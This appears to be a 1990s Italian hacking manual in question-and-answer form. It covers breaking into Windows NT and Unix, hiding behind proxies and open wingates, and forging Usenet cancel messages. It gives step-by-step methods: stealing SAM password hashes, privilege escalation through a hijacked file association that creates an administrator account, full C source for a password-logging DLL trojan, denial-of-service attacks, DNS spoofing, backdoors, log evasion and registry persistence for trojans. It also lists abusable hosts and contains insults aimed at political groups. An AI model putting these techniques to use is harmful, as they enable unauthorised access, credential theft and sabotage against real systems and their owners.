L'autenticazione degli utenti funziona nel modo seguente: l'utente effettua il login, NT crea un token che rappresenta quell'utente e associa al token i privilegi che trova nella sua ACL, e agisce in base ad essi.

Procederemo ora per quesiti, in modo da rendere più agevole la lettura.

QUESITO 1: Quali sono i permessi di default?

Questi sono i permessi per gli utenti di default:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- Server Operators: spegnimento, anche da remoto; reset dell'orologio di sistema; backup e restore.
- Backup Operators: spegnimento; backup e restore.
- Account Operators: spegnimento.
- Print Operators: spegnimento.

Questi sono i permessi per le directory di Windows NT:

\(root), \SYSTEM32, \WIN32APP
Server Operator e Everyone possono leggere ed eseguire file, mostrare i permessi e cambiare gli attributi dei file.

\SYSTEM32\CONFIG
Everyone può effettuare una DIR in questa directory.

\SYSTEM32\DRIVERS, \SYSTEM\REPL
Server Operator ha accesso completo. Everyone ha solo accesso in lettura.

\SYSTEM32\SPOOL
Server Operator e Print Operator hanno accesso completo. Everyone ha solo accesso in lettura.

\SYSTEM32\REPL\EXPORT
Server Operator può leggere ed eseguire file, permessi e attributi.
Replicator ha solo accesso in lettura.
\SYSTEM32\REPL\IMPORT
Server Operator e Replicator possono leggere ed eseguire file, permessi e attributi. Everyone ha accesso in lettura.

\USERS
Account Operator può leggere, scrivere, cancellare ed eseguire file.
Everyone può effettuare una DIR.

\USERS\DEFAULT
Everyone può leggere, scrivere ed eseguire file.

QUESITO 2: Qual'è l'account più interessante?

Sicuramente l'account dell'amministratore (SysAdmin), ma potrebbe essere stato rinominato... in tal caso, basta eseguire "NBTSTAT -A ipaddress" per conoscere il nuovo nome dell'account e opzionalmente anche un elenco completo di quali servizi sono in funzione, il nodename e l'eventuale indirizzo hardware dell'ethernet (in caso di LAN).

QUESITO 3: Dove si trovano le password in Windows NT?

Da nessuna parte. Windows NT (come anche UNIX) non immagazzina le password, ma bensi` un hash (valore numerico calcolato in base alla password, dal quale non si può risalire alla stringa originale, in quanto è solo un numero).

Per crackare gli hash si può utilizzare il programma PWDUMP (lo potete trovare sui siti hacker) e comunque si tratta di un attacco basato su dizionari, quindi di tipo "brute force" (forza bruta).

Quindi, dicevamo, la domanda giusta sarebbe: "dov'è l'elenco degli hash?"

La risposta è: nella directory \WINNT\SYSTEM32\CONFIG c'è un file chiamato SAM. E` questo il database che cerchiamo. E` leggibile da tutti gli utenti (a meno che quel simpaticone del SysAdmin non ci abbia messo lo zampino), ma comunque non si può leggere in quanto bloccato (via sharing) perché è in uso dai componenti di sistema di NT. A questo punto il SysAdmin giubila ed esulta, ma l'hacker sa dell'esistenza di SAM.SAV che è il backup di SAM...

Inoltre, durante l'installazione di NT, una copia del SAM viene posta in \WINNT\REPAIR. Quasi sicuramente troveremo solo gli account Administrator e Guest, ma credo che Administrator (SysAdmin) sia abbastanza...

A proposito del SAM... se siete completamente pazzi potete anche mettere le vostre manacce nelle keys del SAM. Per esempio, schedulando il servizio di logon come LocalSystem e permettendogli di interagire con il desktop, e poi schedulando una sessione interattiva di regedt32.exe (come LocalSystem) con il quale manipolare le keys. Ovviamente se non sapete a cosa serve tutto questo sarà meglio non toccare niente, altrimenti saranno guai grossi...

QUESITO 4: Come accedere al file system se è di tipo NTFS anzichè FAT ?

Se siete vicini alla macchina (cioè in locale), effettuate un boot tramite un dischetto MS-DOS ed eseguite NTFSDOS.EXE per accedere al NTFS. Oppure potete utilizzare il dischetto di boot di Linux... in pratica basta semplicemente eseguire Linux. Può sembrare strano, ma ciò vi darà accesso totale al file system in quanto Linux può leggere NTFS.

QUESITO 5: Sono vicino alla console locale, come accedo alle informazioni degli altri computer?

Se il computer sul quale vi trovate è un domain controller (oppure se è collegato al computer) basterà fare quanto segue:

1. Da USER MANAGER, create una trusting relationship (rapporto di fiducia) con l'obiettivo.
2. Inserite la password (quello che volete). Sembrerà non funzionare, ma l'obiettivo sarà ora nella vostra trusting list.
3. Avviate NT Explorer e cliccate col tasto destro del mouse su qualsiasi cartella.
4. Selezionate SHARING (condivisione).
5. Dalla finestra SHARED, selezionate ADD ("aggiungi", se NT è in italiano).
6. Dal menu ADD, selezionate il vostro obiettivo (il server "vittima").
7. Ora vedrete l'intera lista dei gruppi dell'obiettivo.
8. Selezionate SHOW USERS e vedrete l'intera lista utenti, completa di nomi dei file, directory e descrizioni...

QUESITO 6: Ho accesso Administrator, come accedere alla lista degli utenti?

Ah ci siete riusciti, bene bene... ;) Usate questo metodo:

- Eseguite NBTSTAT -A ipaddress
- Aggiungete il nome che otterrete al file LMHOSTS
- Se la versione di NT è inferiore alla 4, digitate NBTSTAT -R per effettuare il refresh dei nomi del NetBios
- Eseguite NET VIEW \\nomemacchina per vedere gli shares ("condivisioni")
- Eseguite DIR \\nomemacchina\share per listare gli shares (se aperti)
- Eseguite NET VIEW \\ipaddress oppure NET VIEW \\nome.completo.com se usate Windows NT 4.0

QUESITO 7: Ho accesso Guest... come faccio ad avere accesso Administrator?

NT 3.51 ha varie directory (e file) leggibili e scrivibili da tutti gli utenti per default. Potete editare le associazioni tra un'applicazione e i file dati, usando REGEDT32.EXE, ma prima dovete creare (e compilare) un'applicazione per Win32 (magari in Delphi o C++ a 32-bit) che si limiti ad eseguire i seguenti comandi e nient'altro:

```
net user administrator hacker /y
notepad %1 %2 %3 %4 %5
```

Inviate (tramite upload) questa "applicazione" in una share (directory di condivisione) a cui avete accesso e cambiate l'associazione tra i file .txt e notepad in modo che punti alla locazione completa del vostro file (ad esempio \\NomeWorkstation\RWShare\hahaha.exe).

Non appena un file di testo verrà visualizzato da qualcuno sul server, quell'associazione verrà eseguita e sarà attivato l'user Administrator con password "hacker", alla faccia del SysAdmin...

Per questo motivo, se io fossi il SysAdmin eliminerei il permesso Everyone dalla chiave HKEY_CLASSES_ROOT dei registry, dando l'accesso completo solo a Creator e Owner.

QUESITO 8: La SYSTEM32 nella directory di sistema di NT è scrivibile, cosa si potrebbe fare?

Se il sistema è un Windows NT versione 4.0 la risposta è: molte cose... :) Basta creare un troiano sotto forma di DLL e rinominarlo FPNWCLNT.DLL e quindi metterlo in quella directory. Ad esempio, utilizzando questo troiano scritto in C++ troverete nella directory \TEMP del server tutti gli username e password di tutti gli utenti che accedono al sistema...

```
#include
#include
#include

struct UNI_STRING {
  USHORT len;
  USHORT maxlen;
  WCHAR *buff;
  };

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()
{
  DWORD wrote;
  fh = CreateFile("C:\\temp\\shinva.txt", GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
    0);
  WriteFile(fh, "Procedura InitializeChangeNotify avviata\n", 31, &wrote, 0);
  return TRUE;
}

LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
  struct UNI_STRING *passwd)
```

```
{
  DWORD wrote;
  WCHAR wbuf[200];
  char buf[512];
  char buf1[200];
  DWORD len;

  memcpy(wbuf, user->buff, user->len);
  len = user->len/sizeof(WCHAR);
  wbuf[len] = 0;
  wcstombs(buf1, wbuf, 199);
  sprintf(buf, "User = %s : ", buf1);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);

  memcpy(wbuf, passwd->buff, passwd->len);
  len = passwd->len/sizeof(WCHAR);
  wbuf[len] = 0;
  wcstombs(buf1, wbuf, 199);
  sprintf(buf, "Password = %s : ", buf1);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);
  sprintf(buf, "RID = %x\n", rid);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);
  return 0L;
}
```

Quando analizzate il vostro "log file" controllate se ci sono username con SID pari a -500 (SysAdmin). Guest ha SID pari a -501.
Ovviamente bisognerà riavviare il server dopo aver inviato la DLL, per farla attivare.

QUESITO 9: Mi trovo con la schermata di login di NT (quella che esce premendo CTRL-ALT-DEL), come faccio per bypassarla?

Ecco qui di seguito spiegata la procedura per liberarsi dello screen-saver (funziona solo con NT inferiore alla versione 4.0).

Basta entrare come Administrator e verrà mostrato lo schermo del desktop per alcuni secondi. Utilizzando il mouse (prima che lo schermo desktop non sia più accessibile) si possono effettuare modifiche, spostamenti, ecc.
Se ciò non dovesse accadere perché è stato installato il Service Pack (sulla 3.x) c'è ancora una speranza: bisognerà andare su un'altra workstation e digitare "shutdown \\nomecomputer /t:30" in modo che venga attivato uno shutdown (spegnimento) entro 30 secondi sul computer "vittima" e appaia una Security Window. A questo punto si potrà digitare il comando "shutdown \\nomecomputer /a" in modo che lo shutdown venga annullato.
Andando sul computer "vittima" e muovendo il mouse lo schermo si cancellerà e potremo premere CTRL-ALT-DEL per far apparire di nuovo la Security Window.
Si scelga "cancel" e si avrà immediatamente accesso al Program Manager!

QUESITO 10: Come faccio a sapere da remoto se si tratta di NT o 95 ?

In genere è usanza dei Webmaster scrivere nelle pagine Web "Noi usiamo Windows NT" o qualcosa del genere, ma nella maggioranza dei casi ci limiteremo a controllare che la porta 135 sia aperta (tramite un port scanner o una semplice connessione via Telnet).
A questo punto basterà dare un'occhiata ai registry: se HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT esiste, saremo sicuri che non si tratti di Windows 95.
Infine, uno sguardo alla key \CurrentVersion\CurrentVersion ci permetterà di capire di quale versione si tratta.
In alternativa, si può controllare l'esistenza delle porte del NetBios (137 e 139) e dei servizi SMB.

QUESITO 11: Come faccio ad utilizzare il modo di trasferimento passivo sul server FTP se non è attivo?

Se il server FTP utilizzato è quello di default (Microsoft), basterà editare una key dei registry di Windows NT:

System\CurrentControlSet\Services\MSFTPSVC\Parameters
chiave: EnablePortAttack,REG_DWORD

e abilitarla settandola a 1.

QUESITO 12: Come trashare un sistema che utilizza NT ?

Se lasciamo perdere i metodi "tradizionali" (lavorando sui file), eccone alcuni "alternativi" da far gustare al SysAdmin...

Aprendo una connessione Telnet alla porta 53 del server e digitando una decina di caratteri a caso seguiti da invio, bloccheremo il DNS del server fino al riavvio del sistema... niente più host name, solo IP address!

Oppure magari vogliamo trasformare il suo Pentium II 233 Mhz in uno 8086 8 Mhz? Niente di più facile, basta collegarsi via Telnet (come sopra) alla porta 135. Se la porta risponde, facendo come nel caso del DNS, avremo rallentato del 100% la velocità della CPU...

E se poi il SysAdmin utilizza IIS Microsoft come Web server, una connessione alla porta 1031 gli farà passare la voglia di usare i programmi di Bill Gates. Oppure possiamo collegarci alla porta 80 e inviare "GET ../.." per crashare il tutto...

Per causare un riavvio improvviso del sistema o un crash (solo con NT inferiore alla versione 4.0 e NT senza Hotfix) si può utilizzare una tecnica conosciuta con il nome di "Ping of Death". Si tratta di inviare un pacchetto ICMP enorme. Ecco cosa succederà: il server riceverà il pacchetto in forma frammentata, quindi sotto forma di moltissimi piccoli pacchetti. Quando tenterà di riassemblarli, si avrà un buffer overflow e potranno accadere le cose più disparate. Da Windows 95 e Windows NT basta digitare:

```
ping -165527 -s 1 nomevittima
```

L'attacco del SYN flood (o del FIN flood) implica un invio di una quantità enorme di pacchetti forgiati con un IP address sorgente non esistente.
Windows NT è vulnerabile fino alla versione 4.0 senza Hotfix.

Infine, ad un più alto livello, inviando ad un server NT 4.0 un semplice pacchetto DNS di risposta (senza che il server lo abbia richiesto), DNS crasherà.

Con il comando smbmount su Linux 2.0.28+ si può inoltre causare un crash con errore di protezione su un server, eseguendo il comando:

```
smbmount //vittima/servizio /mnt -U nomeclient
```

Se il file ROLLBACK.EXE è presente sul server (o se ce lo mettiamo noi...) possiamo eseguirlo e goderci lo spettacolo: i Registry verranno completamente azzerati. Inoltre, se blocchiamo una porta (ad esempio la 19, detta chargen) il server eseguirà automaticamente ROLLBACK per cercare di risolvere il problema...

Per chi poi conosce a fondo hacking e spoofing, la cosa più divertente resta
la forgiatura dei pacchetti DNS (di tipo UDP).
Effettuando una richiesta DNS e utilizzando uno sniffer per intercettare i pacchetti di risposta e catturare i numeri ID di riposta DNS è possibile inviare falsi pacchetti DNS a un server in modo che chiunque chieda il suo IP address la risposta sia quella che desideriamo. In pratica, chiunque si collegherà a quel server si collegherà in pratica al server che vogliamo noi, dato dall'IP address che abbiamo inviato nel pacchetto "forgiato".

Con questo metodo, applicato ad altri servizi, è possibile fare copie di tutte le email che transitano sul sistema, inibire l'accesso ai servizi, re-routing, e molto altro ancora.

QUESITO 13: Come impedire a chiunque, anche al SysAdmin, di accedere a uno o più file?

Ad esempio con questo programmino in C si può bloccare un file per quanto tempo si desidera, passando (al programma) il nome del file da bloccare:

```
#include
    void main(int ac, char *av[])
    {
      HANDLE fp;
      fp = CreateFile(av[1], FILE_READ_DATA, 0, 0, OPEN_EXISTING, 0, 0);
      if (fp == INVALID_HANDLE_VALUE)
        exit(GetLastError());
      Sleep(60000)     {  tempo di bloccaggio espresso in: secondi * 1000  }
      exit(0);
    }
```

A che può servire bloccare un file? Beh, ad esempio, se blocchiamo un file di log per un'ora e hackeriamo il server per un'ora, il SysAdmin non ne saprà mai niente...

QUESITO 14: Cos'altro si può fare con i Registry?

Troppo lungo da spiegare... come dico sempre, basta usare la fantasia... Comunque ci sono un paio di cosette ancora. Ad esempio, per effettuare il logging del PPP basta selezionare...

HKEY_LOCAL_MACHINE\CurrentControlSet\Services\RasMan\PPP
valore = Logging
valore = REG_DWORD
valore = 1 (settare questo valore)

mentre per abilitare quello della seriale basta selezionare Parameters (anzichè PPP) come ultimo valore della key.

Una cosa molto utile è la possibilità di eseguire le applicazioni che abbiamo inviato (troiani, ad esempio) e per farlo possiamo modificare una di queste due keys...

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VXD

aggiungendo una nuova key di tipo StaticVxd e inserendo il percorso completo dell'applicazione, oppure...

HKEY_LOCAL_MACHINE\\Software\Classes\txtfile\shell\open\command

per sfruttare il metodo delle associazioni (file di testo, in questo caso) per eseguire la nostra applicazione.

Il vantaggio della prima key è che l'applicazione verrà eseguita a Ring-0 (quindi con accesso completo sul sistema operativo e sulle sue risorse, anche a basso livello, su memoria, disco rigido, ecc).

Buon hacking con NT...

VIRTUOSISMI TECNICI: PARTE 2

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Questo file conclude il capitolo iniziato nel volume 11, sulle tecniche avanzate di hacking su Unix (da leggere quando sarete più esperti).Alcune di queste tecniche sono abbastanza conosciute, mentre altre sono (relativamente) nuove.

Ricordate sempre che:

- fare del port surfing (connettersi via Telnet alle porte di un server per trovare vie d'accesso non controllate e informazioni utili) e studiare il funzionamento dei servizi leggendo le RFC presenti su Internet è utilissimo per scoprire molte vulnerabilità di un generico sistema; vi meraviglierete di quello che potrete trovare: outdial (collegamenti via modem che vi permettono di telefonare ovunque nel mondo, anche a casa vostra, digitando comandi standard Hayes direttamente nel modem del server che state hackerando), liste di informazioni sulla struttura interna del network (come nel caso della porta 15, detta "netstat"), possibilità di manipolare un servizio per fare le cose più disparate e attacchi all'integrità del sistema, per dirne qualcuna...
- installare una backdoor è spesso necessario: anche se al momento il SysAdmin non sa della vostra presenza, prima o poi se ne accorgerà ed eliminerà il vostro account; inoltre dai log potrebbe risalire al modo in cui siete "entrati" nel sistema, e correggere il problema: in tal caso, installare una backdoor preventivamente (cancellando le tracce di ogni operazione come descritto in uno dei precedenti volumi) è indispensabile;

Ecco altri consigli più o meno avanzati:

- nascondetevi da utmp e dai comandi come "who" utilizzando il programma incluso in uno dei precedenti volumi, in modo che nessuno potrà notare la vostra presenza del sistema (per maggior sicurezza collegatevi di notte o al mattino presto);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- manipolate i file .rhost per poter accedere senza restrizioni da remoto;
- se siete in grado di programmare e conoscete *bene* Unix, potete installare delle nuove chiamate di sistema che svolgano le operazioni che vi servono (una per la gestione dei file e dei loro permessi, una di riserva per l'esecuzione shell, e cosi` via) e disabilitare i controlli per l'accesso root al sistema, manipolando la kernel (argomento troppo complicato per poter essere spiegato in questi volumi);
- se avete accesso in scrittura a /dev/kmem cambiate il vostro userid; se invece avete solo accesso in lettura, scrivete un programmino in C che intercetti le sessioni degli altri terminali (TTY) per intercettare le password degli altri utenti;
- modificate i permessi d'accesso dei file più interessanti, come /dev/mem e copiate la shell /bin/sh nella vostra directory utente, in una directory nascosta (oppure un .term) sotto falso nome e create degli script SUID;
- editate gli script (.login .profile .cshrc ecc...) per installare troiani;
- controllate se esistono password nel file .netrc (potrebbero esservi utili per accedere ad altri account);
- provate sempre ad utilizzare i programmi in modo "non previsto" ;) per trovare nuovi bugs: scrivendo !/bin/sh nella schermata di un comando come "more" o "man", ad esempio, potreste riuscire ad accedere alla shell...
- fate lo stesso con le chiamate di sistema, passando loro parametri non previsti;
- controllate i file system utilizzando il comando showmount e state attenti ai permessi... potreste trovare intere partizioni accessibili a chiunque!
- controllate l'esistenza dei seguenti bugs:

```
  lpr -r nomefile           stamperà il file e lo cancellerà (utile in
                             caso di file per i quali non avete permessi)
  su username -c /bin/sh    darà accesso a /bin/sh all'account username
```

- esplorate i file SUID utilizzando il comando:

```
find / -perm -6000 -ls
```

per accedere a uno di essi, basta utilizzare il comando "ln" per creare un link al file interessato, con il nome "-i", e quindi eseguire il link cosi` creato;
- eliminate SEMPRE le vostre tracce e prendete ogni precauzione nel collegarvi e nel fare qualsiasi cosa: questo vale tanto per un semplice provider che per un mainframe del Pentagono (forse un pò di più in quest'ultimo caso... ;)

Un buon metodo per trovare informazioni di ogni tipo (username e password di altri utenti - anche di root, se siete fortunati - posta elettronica di altri e intere sessioni di chat, per citarne alcune) è creare un programmino in C che allochi quanta più memoria possibile, e poi cercare nel blocco allocato (oppure salvare l'intero blocco e scaricarselo per controllarlo con più calma).
Ciò che accade è questo: per soddisfare la vostra richiesta di spazio in memoria, il sistema metterà a disposizione quella usata in precedenza dalle altre applicazioni, senza però preoccuparsi di ripulirla! =)

ANONIMITA' E PROXY

~~~~~~~~~~~~~~~~~~

Cos'è un proxy? Senza entrare troppo nel dettaglio, si tratta di un server che vi permette di accedere a un servizio (generalmente WWW ma talvolta anche FTP, Gopher e altri) senza mostrare il vostro IP address. Infatti, sia che navighiate sul Web o che effettuiate operazioni via FTP, l'IP rivelato sarà quello del server proxy anzichè il vostro.

Ma come funziona? Ecco un esempio.
Immaginate di inserire l'indirizzo di un sito web nel vostro browser... questo contatterà il server contenente le pagine che vi interessano, e le scaricherà direttamente da lì`. Ovviamente il sysadmin del sito avrà il vostro IP address e molte altre informazioni su di voi (da quale pagina provenivate, che tipo e versione di browser utilizzavate, ecc).

Se attivate il servizio di proxy, invece, le cose vanno diversamente. Supponiamo che vogliate collegarvi al sito hacker http://kr0mecorp.home.ml.org Questo indirizzo verrà mandato al proxy, che vi si collegherà, scaricherà la pagina principale e ve la manderà. L'IP address registrato dal sito sarà quello del proxy, in quanto è stato il proxy server a collegarsi al sito, non voi ;)

Come si configura un browser per utilizzare il proxy? E` presto detto.
Vi farò un esempio per Netscape (Navigator o Communicator). Se utilizzate Micro$oft Explorer non vi spiegherò come fare... passate a Netscape o arrangiatevi... la roba della Micro$oft è SEMPRE spazzatura.
~~~~~~~~~~~~~~~~~~

Dal menù preferences di Netscape selezionate advanced e poi proxies, quindi manual proxy configuration e poi il bottone view. Ora potrete inserire nella prima riga (HTTP) il nome del server proxy e poi la porta.
Noterete che ci sono altre caselle libere: FTP, Gopher, ecc. Se il proxy server supporta quei servizi, inserite nome del server e porta nelle rispettive locazioni e potrete accedere anonimamente anche a quei servizi.

Ora siete pronti per navigare, e ciò avverrà in modo trasparente sia per voi che per la macchina alla quale vi collegate.

Se volete usare un proxy FTP, probabilmente vorrete utilizzare un client come CuteFTP oppure WS-FTP, anzichè il browser... le operazioni per configurare tali client sono molto simili, basta trovare il menù di configurazione e inserire nome e porta del proxy da utilizzare.
Niente di più.

Bene, ora sappiamo come utilizzare i proxy... ma dove possiamo reperirne uno funzionante da utilizzare?

Il metodo che vado ad illustrarvi è quello che uso io e che si è rivelato efficace nella maggior parte dei casi.

Buona parte dei server proxy hanno un nome che inizia con "proxy." (ad esempio proxy.pingnet.ch) oppure con "cache" (o "wwwcache" o "webcache"), e utilizzano come numero di porta uno dei seguenti: 3128, 8000, 8001, 8080, 80, 81, 800 (e raramente varianti di questi).

Basandoci su queste considerazioni, trovare i proxy è quindi semplicissimo: prendete un host qualsiasi, meglio se vi sta antipatico, tipo il Berlusconiano www.mediaset.it oppure www.leganordsen.it (sito web del re assoluto dei cretini e degli ignoranti) e trasformate l'host name in un possibile nome "da proxy", ad esempio proxy.leganordsen.it (ovviamente non provate questo, è probabile che un sito di merda come quello della Lega Nord non abbia neanche un proxy...). A questo punto dovrete utilizzare uno dei numeri di porta elencati sopra.

Prima di sperimentare tutte le porte, vi converrà controllare che il proxy esista. Potete farlo in due modi: o utilizzate l'utility Ping oppure provate a navigare dopo aver configurato il proxy... se comparirà la finestra di errore di netscape, l'host non esiste. Se invece lo status indica "contacting host proxy.xxxxx.com..." troppo a lungo, vuol dire che la porta non è quella esatta; cambiatela e riprovate.

Avrei molti proxy da elencarvi, ma dato che i rispettivi sysadmin si accorgerebbero dell'improvviso... incremento di utenza ;) diventerebbero presto inutili. Trovarli è comunque, come avete avuto modo di vedere, un processo estremamente semplice e potrebbe facilmente essere automatizzato, creando uno scanner che faccia da solo il lavoro, magari scritto in Perl... Ricordate, *qualunque* host va bene, italiano o straniero, grande o piccolo, di importanti società o piccoli providers. Talvolta non troverete il proxy... beh, ci sono tanti altri siti da provare ;) Fate una ricerca per una parola qualsiasi su un motore di ricerca, ed eccovi tutti i server di cui avete bisogno.... centinaia di migliaia.
Oppure utilizzate la ricerca avanzata di Altavista e cercate i server che iniziano per "proxy." ... le possibilità sono infinite.

Tenete presente che anche i proxy server registrano il vostro IP address, quindi non fate stupidaggini. Se proprio volete un maggiore grado di sicurezza, concatenate i server in questo modo:

http://primo_proxy:porta/http://secondo_proxy:porta/http://www.sito.com/

Più lunga è la catena, più difficile sarà rintracciarvi, specie se uno dei siti della catena cancella i log di accesso più frequentemente degli altri (e non è una cosa rara... ;)).

Un'ultima parola va detta sui wingates. Wingate è un software che permette di condividere un collegamento a internet da molti pc. Peccato solo che non abbia nessuna password di protezione ;) e cosi` chiunque si colleghi a un server che ha wingate in funzione possa usare quel server come se fosse un proxy, e per giunta senza neanche lasciare la benchè minima traccia!

Per trovarli, prelevate uno scanner di wingate da internet nel solito modo: collegatevi (ad esempio) a www.altavista.digital.com e cercate le parole "wingate scanner". Troverete molti siti dai quali scaricare uno scanner.
Usate lo scanner su vari servers fino a trovare qualche wingate funzionante.
Eccovi una lista, che però probabilmente sarà presto inutile per le ragioni spiegate sopra per i proxy:

www.este.net

mrenner.bevc.blacksburg.va.us
netgate.maret.org
pc300057.multiweb.net
cda-bitclub.netbusiness.it
dyn.ml.org
chamail.ozemail.com.au
sandbox.pacificnet.net
michae3.lnk.telstra.net
pmzproxy.pmz.com
showcad.demon.co.uk

Una volta in possesso di qualche sito potete collegarvi alla porta 23 per accedervi. Informazioni dettagliate le trovate su http://demoniz.bikkel.com E... si, sono in INGLESE.

L'HACKING E LE NEWS

Conoscere le News

~~~~~~~~~~~~~~~~~~

Le news sono costituite da gruppi di discussione (come alt.hackers) che racchiudono un certo numero di messaggi pubblici. Tali messaggi (detti articoli, che io chiamerò "post") hanno degli headers, proprio come le normali email.

Uno degli headers presenti sia nelle email che nelle post è Message-ID.

Provate ora a visualizzare tali headers: per chi, come me, usa Outlook Mail and News della Microsoft, la procedura è: cliccare sul titolo del messaggio da analizzare, premere il tasto destro del mouse, scegliere Proprietà e poi Dettagli. Con Netscape, invece, scegliete il menu "Options", quindi "Show Headers" e infine "All".

Come vedrete, tra gli headers figurerà una linea del tipo:

Message-ID: <01Qcf060$d0b8c2@provider.com>
~~~~~~~~~~~~~~~~~~

Lo scopo di Message-ID è identificare ciascun messaggio univocamente, in modo da facilitarne la gestione.... e da rendere più semplice la loro distruzione :)))

Ma procediamo per gradi.

Per gestire gli articoli e i gruppi che costituiscono le news, esiste un particolare tipo di messaggi (normali email, niente di trascendentale), detti messaggi "control" (detti, appunto, messaggi di controllo).

Come sapete, quando scrivete un msg a un newsgroup potete in seguito eliminarlo, utilizzando una funzione presente in molti nuovi NewsReader (in Outlook Mail and News la funzione è "Annulla", visualizzabile tramite tasto destro sul titolo del messaggio da eliminare).
Ovviamente però questo vale solo per i *vostri* messaggi. Non potete (o meglio, non POTRESTE) cancellare quelli degli altri.

Vediamo come cancellarli ;)

Un messaggio di controllo, dicevamo, non è altro che una normale post, ma con qualche cosa in più.
Quello che ci serve sapere per cancellare un messaggio è:

1 - il mittente del messaggio (header From)
2 - l'ID (header Message-ID)

...e nient'altro.

Ora non dobbiamo fare altro che inviare una post di controllo da parte del mittente originale. Poichè avremo bisogno di falsificare il "From", è bene cambiare nel NewsReader i vostri dati con quelli che avete appreso leggendo l'header "From".

Ora che abbiamo falsificato il mittente del messaggio, dobbiamo inserire dei comandi particolari, che renderanno la nostra email un messaggio di controllo. Senza di essi, infatti, resterebbe una semplice email e verrebbe postata al Newsgroup e letta da tutti... :(

Tutto quello che dobbiamo fare è digitare i comandi al posto del Soggetto.

Il comando per cancellare un messaggio è il seguente:

```
cmsg cancel
```

quindi, per eliminare il messaggio di Lamer che ha l'indirizzo lamer@boh.com e Message-ID pari a <1234$abc05@boh.com> dal newsgroup alt.lamers dovremo inviare una normale post a alt.lamers con i seguenti dati:

```
From: lamer@boh.com (Lamer)
Subject: cmsg cancel <1234$abc05@boh.com>
```

Per assicurarci che il nostro messaggio di controllo funzioni, dovremo aggiungere un paio di header aggiuntivi: Control e Approved.
Control è in realtà l'header designato ai comandi di controllo, per cui possiamo utilizzare solo Subject, solo Control, oppure entrambi. L'unica differenza è che con Control non dobbiamo usare "cmsg".
Approved invece serve a dire al server di "fidarsi" di quello che gli stiamo inviando, in quanto esso è stato letto e approvato... ;)

Vediamo un esempio completo:

```
From: lamer@boh.com (Lamer)
Subject: cmsg cancel <1234$abc05@boh.com>
Control: cancel <1234$abc05@boh.com>
Approved: news@newsserver.com
```

Ovviamente se in Approved metteremo l'indirizzo di email dell'Amministratore del server delle News che utilizzeremo per inviare la post al newsgroup, avremo buone probabilità che i comandi del messaggio di controllo verrebbero eseguiti.

NOTA: tenete presente che se avete già scaricato i messaggi e utilizzate il comando "cancel" per eliminarne uno, esso sarà eliminato da tutti gli host connessi al news server al quale avrete inviato il messaggio di controllo; ma voi non noterete il cambiamento sul vostro PC, in quanto il messaggio è stato scaricato PRIMA della cancellazione. Dovrete eliminare la "cartella" del newsgroup dal vostro NewsReader e poi ricaricare tutti i messaggi, per vedere se quello cancellato è stato eliminato o meno.

Esiste un newsgroup chiamato control sul quale vengono visualizzati TUTTI i messaggi di controllo inviati giorno per giorno. Anche i vostri....
Altri comandi utili sono newgroup (non newsgroup) e rmgroup, che non richiedono la conoscenza di elementi come From e ID.
Il primo (newgroup) serve a creare un nuovo newsgroup tutto nostro. Per usarlo basta dare una linea di comando del tipo:

```
newgroup alt.gruppomio
```

(seguito dalla parola moderated se si vuole che solo chi aggiunge l'header Approved alle proprie post riesca a inviare messaggi). Come messaggio andrà scritto quanto segue:

For your newsgroups file:
alt.gruppomio descrizione di alt.gruppomio

Per rimuovere un newsgroup (per esempio alt.pedophilia) bisogna invece utilizzare:

```
rmgroup alt.nomegruppo
```

(come sempre, utilizzando Soggetto, Control e Approved).

Questi comandi, però, non sono gestiti quasi mai in maniera automatica,
ma passano per... le mani dell'Amministratore, che può decidere di non permetterne l'esecuzione.
NOTA: nel caso di newgroup e rmgroup può essere conveniente utilizzare come From e Approved l'indirizzo email dell'Amministratore :) (il cui formato, generalmente, è news@nome_del_news_server.com)
Attenti però a non finire su net-abuse.usenet :-/
Ho spiegato il funzionamento dei comandi "newgroup" e "rmgroup" solo per completezza, ma non usateli, a meno che non abbiate la certezza che un news server li accetti automaticamente.
Diversamente, dareste solo MOLTO fastidio al news-admin (amministratore delle news) e non ottereste niente.

Accedere tramite Telnet

~~~~~~~~~~~~~~~~~~~~~~~~

Ovviamente anche le news - come FTP, IRC, il Web, ecc. - hanno un set di comandi tramite i quali vengono effettati l'invio e la ricezione dei post, e molto altro ancora.

Iniziamo subito. Ci collegheremo tramite Telnet alla porta 119 del news server, e aspetteremo il messaggio di "benvenuto" ;) che sarà di questo tipo:

```
200 Interbusiness news server ready, posting allowed
```

NOTA: alla fine di tale messaggio ci sarà una frase. Se questa è "posting allowed" oppure "posting ok", significa che possiamo usare quel server per inviare e leggere i messaggi; in caso contrario (not allowed) non potremo inviare nè i messaggi normali, nè tantomeno quelli di controllo, ma potremo comunque leggerli.

Dunque, per selezionare il newsgroup che ci interessa, utilizzeremo il comando "GROUP". Supponiamo di voler scegliere alt.hackers...

```
GROUP alt.hackers
```
~~~~~~~~~~~~~~~~~~~~~~~~

il server risponderà con una linea contenente diverse informazioni (che vedremo tra poco).

Ora potremmo voler leggere un messaggio di cui conosciamo il Message-ID (ad esempio, se abbiamo inviato un messaggio di controllo per cancellarlo e vogliamo vedere se esiste ancora); faremo cosi`:

```
ARTICLE
```

dove "numero del messaggio" è il Message-ID.

NOTA: per controllare l'esistenza di un messaggio potremmo anche provare a usare il comando: IHAVE (se il server non ha quel messaggio, risponderà "news to me!").

IMPORTANTE! Il numero del Message-ID va sempre racchiuso tra "< >".

Digitando semplicemente NEXT (seguito da invio a capo) selezioneremo il messaggio successivo a quello attualmente selezionato. Per leggerne gli headers digiteremo HEAD mentre per il "corpo" del messaggio vero e proprio useremo il comando BODY.
Naturalmente è possibile selezionare un messaggio (articolo) anche senza conoscerne il Message-ID.

Digitando (ad esempio):

```
GROUP alt.music.progressive
```

selezioneremo tale newsgroup e avremo una risposta di questo tipo:

```
